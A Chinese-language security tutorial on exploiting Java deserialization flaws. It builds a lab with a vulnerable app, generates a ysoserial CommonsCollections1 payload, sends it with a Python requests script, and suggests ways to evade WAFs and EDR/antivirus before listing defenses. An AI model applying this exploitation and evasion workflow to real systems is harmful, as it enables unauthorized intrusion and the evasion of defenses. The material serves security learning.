0x01 攻击者的视野
合法声明:本文仅限授权安全测试,供安全研究人员学习,切勿用于非法用途。
这次,我们从一次真实的企业渗透测试说起。在这个案例中,我们的目标是一家拥有复杂IT基础设施的金融公司。经过前期详细的信息收集后,我们将攻击的突破口锁定在了一个内部使用的Java应用程序上。通过这个应用程序,我们发现了一处反序列化漏洞,借此我们得以成功突破初始访问权限,并在整个网络中横行无忌。
反序列化漏洞经常出现在需要处理序列化对象的数据流中,在这个案例中,该漏洞的发现也是由于开发人员忽视了对序列化数据的验证。我们利用该漏洞直接注入恶意代码,最终获取了服务器的完全控制权。
0x02 实验室搭建指南
为了让大家更好地理解反序列化漏洞的利用,我们将搭建一个模拟环境。这个环境将包含一个易受攻击的Java应用程序和我们需要使用的工具。
环境准备
- 操作系统: 使用Ubuntu 20.04作为我们的攻击和目标平台。
- Java环境: 确保目标机器上安装有Java 8,这是许多旧版应用程序常用的Java版本。
- 工具: 我们需要以下工具来完成此次攻击:
- Burp Suite
- ysoserial:一个专用于生成Java反序列化利用链的开源工具
- Python3:用于执行和开发我们的攻击脚本
模拟应用程序
我们选择了一个开源的漏洞练习平台来演示攻击,具体来说是一个使用了不安全反序列化的Java web应用。
环境搭建步骤
- 安装Java:
<pre><code class="language-bash"> sudo apt update sudo apt install openjdk-8-jdk `

- 下载并运行漏洞应用:
假设我们使用的是VulnerableApp。
`bash git clone https://github.com/Company/VulnerableApp.git cd VulnerableApp ./gradlew bootRun `
- 配置Burp Suite:
将Burp设置为浏览器的代理,以便我们可以拦截和修改HTTP请求。
0x03 Payload构造的艺术
了解了反序列化漏洞的基本情况后,让我们开始构建我们的攻击Payload。我们将使用ysoserial工具来生成恶意Payload。
ysoserial的使用
ysoserial可以生成多种Java反序列化利用链,适用于不同的Java库。在我们的案例中,目标应用使用了Commons Collections库,这是Java反序列化漏洞的常见目标。
生成Payload
首先,我们需要生成包含恶意命令的Payload。假设我们希望在目标主机上执行一个简单的命令,比如打开计算器(仅作示例,实际操作需根据需要调整)。 </code></pre>bash java -jar ysoserial.jar CommonsCollections1 'gnome-calculator' > payload.bin <pre><code>
用Python发送Payload
我们将通过Python脚本发送Payload到目标应用。为了更好地说明这一点,我们编写了一个简单的Python脚本。 </code></pre>python import requests

设置目标URL
target_url = 'http://victim.com/vulnerable-endpoint'
读取生成的Payload
with open('payload.bin', 'rb') as f: payload = f.read()
发送带有Payload的请求
response = requests.post(target_url, data=payload, headers={'Content-Type': 'application/x-java-serialized-object'})
输出返回结果
print(response.text) `

通过这个脚本,我们将Payload发送到目标应用的反序列化入口。成功执行后,我们的工具或命令将在目标服务器上运行。
0x04 绕过与免杀的智慧
反序列化漏洞的利用并非总是一帆风顺。在现实中,目标系统可能会有一定的防护措施,这就需要我们运用一些技巧。
绕过WAF
网络应用防火墙(WAF)可能会检测到反序列化Payload的特征。我们可以尝试以下措施:
- 混淆Payload: 通过自定义的编解码或加密策略来改变Payload的特征。
- 分片传输: 将Payload拆分为多个部分,以绕过简单的长度或签名检测。
EDR/AV对抗
现代EDR解决方案可能会检测到通过反序列化漏洞执行的命令。我们可以:
- 使用内存加载技术: 直接在内存中加载并执行Payload,避免磁盘留下痕迹。
- 二次编码: 例如,将最终命令进行base64编码,再在目标上解码执行。
0x05 防御者的视角
尽管我们深入了解了攻击方法,但从安全的角度出发,了解如何防御这些攻击同样重要。
防御措施

- 输入验证: 确保所有反序列化操作的输入数据都经过严格验证。
- 使用安全的反序列化库: 选择具备安全检测机制的库。
- 禁用不必要的反序列化功能: 如果业务场景不需要反序列化功能,则应彻底禁用。
- 监控和检测: 实施全面的日志监控,实时检测反序列化攻击的迹象。
0x06 攻击者的反思
通过此次反序列化漏洞攻击,我们深刻体会到攻击与防御之间的博弈。作为攻击者,我们必须不断更新自己的技能和工具,以应对日益复杂的防御措施。而作为防御者,则需要不断提升系统的安全性,通过多层次的防御手段来阻止攻击的发生。
在这场攻防游戏中,真正的赢家是那些能够未雨绸缪、主动出击的团队。保持警惕,持续学习,才是立于不败的关键。